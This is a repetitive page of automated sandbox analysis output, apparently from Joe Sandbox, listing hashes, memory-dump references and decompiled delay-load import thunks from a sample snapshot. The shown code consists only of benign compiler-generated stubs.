Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 028f6be4f00b14f006edf46219646f946b883d2d96f1ee54887236b93cd7344b
Instruction ID: 2f0c1cce827bcab3b30d4e2b9c8db2050a8dd2cbb226daa87ea4d4d95ee3872c
Opcode Fuzzy Hash: 028f6be4f00b14f006edf46219646f946b883d2d96f1ee54887236b93cd7344b
Instruction Fuzzy Hash: DDB09292669501AC31445205BC02E3E1299E591B24720403FB212C0294D58048026032

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF3FD Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CDF3FD() {

				E00CDF837(0xcfd87c, 0xd2504c); // executed
				goto __eax;
			}

0x00cdf3d6
0x00cdf3dd

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF3D6

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 88b3b4e086985755ecedd5e3cafd2de57bad64ac24f777fb61d1afb46886f4f6
Instruction ID: 2f783e5d8e779ca600e2d6f104a2d4ea00cdf2ca236e54f7af41726386d76799
Opcode Fuzzy Hash: 88b3b4e086985755ecedd5e3cafd2de57bad64ac24f777fb61d1afb46886f4f6
Instruction Fuzzy Hash: CCB092A1298000AC22445205BD02C3E0148E184B50320803FB612C1290D68088822172

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF3F3 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CDF3F3() {

				E00CDF837(0xcfd87c, 0xd25054); // executed
				goto __eax;
			}

0x00cdf3d6
0x00cdf3dd

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF3D6

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 21a410dd5c7324ed995c43dbd98858a91860faeddf252f030bf50fb391f0dca6
Instruction ID: 8799e0959065c135343cb3d4f8e7ee290c25ce46c516c27ae4ea9df146471d65
Opcode Fuzzy Hash: 21a410dd5c7324ed995c43dbd98858a91860faeddf252f030bf50fb391f0dca6
Instruction Fuzzy Hash: 17B092912980006C22445205BE02C3A0148E084B50320803FB313C52909680888B2172

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF4E7 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CDF4E7() {

				E00CDF837(0xcfd8dc, 0xd25090); // executed
				goto __eax;
			}

0x00cdf4f9
0x00cdf500

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF4F9

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ef6e54538687f67823bda4b7f4a1e67fa4fa162a4bbeafb72243e0205642075b
Instruction ID: d0b25f70b470ce50df4427e9f64efa2502cb4efa897e33d1e79bcc0e2ce5a9fa
Opcode Fuzzy Hash: ef6e54538687f67823bda4b7f4a1e67fa4fa162a4bbeafb72243e0205642075b
Instruction Fuzzy Hash: 1EB0129126C0117C31041111BD02D3F015CE4C1F50330803FF623D02C4D9804C072073

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF425 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CDF425() {

				E00CDF837(0xcfd87c, 0xd2505c); // executed
				goto __eax;
			}

0x00cdf3d6
0x00cdf3dd

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF3D6

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5b16d8af67012b724725dcf09164e8a48591f135510710aaf7553980ef9e0408
Instruction ID: 8569f661464f43d99076c710ac91afbd4301f0fbfcc4ab5d87ca7af851e310fa
Opcode Fuzzy Hash: 5b16d8af67012b724725dcf09164e8a48591f135510710aaf7553980ef9e0408
Instruction Fuzzy Hash: D8B092A1298000AC22445205BD02C3E0148E184B50320803FB613C1290D68088862172

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF58B Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CDF58B() {

				E00CDF837(0xcfd8fc, 0xd25178); // executed
				goto __eax;
			}

0x00cdf55a
0x00cdf561

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF55A

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 757431f159e998acf486a9d5428647e7d3178faf62128cf7e92025af1893cf0e
Instruction ID: fd9701470775f0f485c828bdf0621688d4c5542244f771a007d253f51a7e8a92
Opcode Fuzzy Hash: 757431f159e998acf486a9d5428647e7d3178faf62128cf7e92025af1893cf0e
Instruction Fuzzy Hash: 74B0129125C3017C3185554DFC02D3E225CD0D0B20330463FF613C03C0E6804C832133

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF581 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CDF581() {

				E00CDF837(0xcfd8fc, 0xd25174); // executed
				goto __eax;
			}

0x00cdf55a
0x00cdf561

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF55A

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 128a021df81c67e77f644338aa043cdfe529ddd06527436a3cc7c8edbdc69480
Instruction ID: 777ffdc4969d7ff1a3025f34d4053e21ac6c0179c50bd61421bf00e2576b365b
Opcode Fuzzy Hash: 128a021df81c67e77f644338aa043cdfe529ddd06527436a3cc7c8edbdc69480
Instruction Fuzzy Hash: FCB0129165C2016C3145554DFD03D3E225CD0D0B10330463FF613C43C0E6C04D432133

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF56D Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CDF56D() {

				E00CDF837(0xcfd8fc, 0xd25180); // executed
				goto __eax;
			}

0x00cdf55a
0x00cdf561

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF55A

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 0959826cd3f9b563a0b89f9d34f32c4b332f7aec14d29584a7b30ea299e6f182
Instruction ID: 38ed037eb10ec8268f4cdf52d97080cc103b465da6f677ce08dd625e270b9aa1
Opcode Fuzzy Hash: 0959826cd3f9b563a0b89f9d34f32c4b332f7aec14d29584a7b30ea299e6f182
Instruction Fuzzy Hash: FCB0129125C2047D31455649BC06D3E224CE0C0B10330453FF613C03C0E5804C432133

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF50C Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CDF50C() {

				E00CDF837(0xcfd8dc, 0xd25080); // executed
				goto __eax;
			}

0x00cdf4f9
0x00cdf500

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF4F9

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3439e7142721a4bf273633edfb4b771158bf029a325bea2467f5aae95015c9f8
Instruction ID: f6f2671f14f71365d16a0c092d19413ca36f9af59a243c04502790316aadab1d
Opcode Fuzzy Hash: 3439e7142721a4bf273633edfb4b771158bf029a325bea2467f5aae95015c9f8
Instruction Fuzzy Hash: C5B0129126C0107D31445105BD06E3F019CE4C4B10330413FF217C03C0D5804C032173

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF502 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CDF502() {

				E00CDF837(0xcfd8dc, 0xd25084); // executed
				goto __eax;
			}

0x00cdf4f9
0x00cdf500

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF4F9

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 789b80e6a3b33458e9e15bb652da863f090966c5eb045970663636233411f162
Instruction ID: 775c88eda1306c0861507a04ae20c71e539cdbae58c8dfdc9ed0af6e71426233
Opcode Fuzzy Hash: 789b80e6a3b33458e9e15bb652da863f090966c5eb045970663636233411f162
Instruction Fuzzy Hash: 8DB0129126C0507C31445105BE06D3F019CD4C4B14330803FF317C43C0D5804C032173

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF520 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CDF520() {

				E00CDF837(0xcfd8dc, 0xd25078); // executed
				goto __eax;
			}

0x00cdf4f9
0x00cdf500

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF4F9

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d40f83ecdc3f7884f6de914fb74e63cae1f7243c84b2ff4cb8fee5e445d7a5dd
Instruction ID: 178432b6009287c518f1e5c8787b5ec8e0665d65cf757efc440cb451367a1328
Opcode Fuzzy Hash: d40f83ecdc3f7884f6de914fb74e63cae1f7243c84b2ff4cb8fee5e445d7a5dd
Instruction Fuzzy Hash: 23B0129126C1117C32445105FD02D3F019CD8C4B20330423FF217C03C0D5804C472177

Uniqueness

Uniqueness Score: -1.00%

Function 00CDFBA8 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CDFBA8() {

				E00CDF837(0xcfd93c, 0xd25034); // executed
				goto __eax;
			}

0x00cdfbba
0x00cdfbc1

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDFBBA

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 24fb55072c6a4e8f911b065d7ea576db126c0c60bade074e37ac9f5dc42eed7d
Instruction ID: 09a072fbc021cc7a7a0a4852d33486ce9dfd98afe3ea3307172b003bf6cbd35d
Opcode Fuzzy Hash: 24fb55072c6a4e8f911b065d7ea576db126c0c60bade074e37ac9f5dc42eed7d
Instruction Fuzzy Hash: C0B012A225E4007D32141141BE06C3E010CD0C0B50730C03FFB23C828099C04C432033

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF1F3 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF1BD

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 0ff9a56be4b026c0e82f0113eef556b061e27a2041dc297d86565360cc841756
Instruction ID: de0bc11132ecb80d7d59350fa5a21a23f496bcd150059c41a2c2cd8997f0a2be
Opcode Fuzzy Hash: 0ff9a56be4b026c0e82f0113eef556b061e27a2041dc297d86565360cc841756
Instruction Fuzzy Hash: 7AA011A32AC002FC30082202EC02C3E022CE0C2BA0330883FF223C02E0AA800803B032

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF289 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF1BD

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: cc35c0036d5e855398715ba7dfe947f1089a07e43a55937f88872eda4f36c839
Instruction ID: de0bc11132ecb80d7d59350fa5a21a23f496bcd150059c41a2c2cd8997f0a2be
Opcode Fuzzy Hash: cc35c0036d5e855398715ba7dfe947f1089a07e43a55937f88872eda4f36c839
Instruction Fuzzy Hash: 7AA011A32AC002FC30082202EC02C3E022CE0C2BA0330883FF223C02E0AA800803B032

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF29D Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF1BD

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 49e66ffe90c6e61f8c743e6276f7a20e2949e812e48c34728a5db1d687cff7d5
Instruction ID: de0bc11132ecb80d7d59350fa5a21a23f496bcd150059c41a2c2cd8997f0a2be
Opcode Fuzzy Hash: 49e66ffe90c6e61f8c743e6276f7a20e2949e812e48c34728a5db1d687cff7d5
Instruction Fuzzy Hash: 7AA011A32AC002FC30082202EC02C3E022CE0C2BA0330883FF223C02E0AA800803B032

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF2A7 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF1BD

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
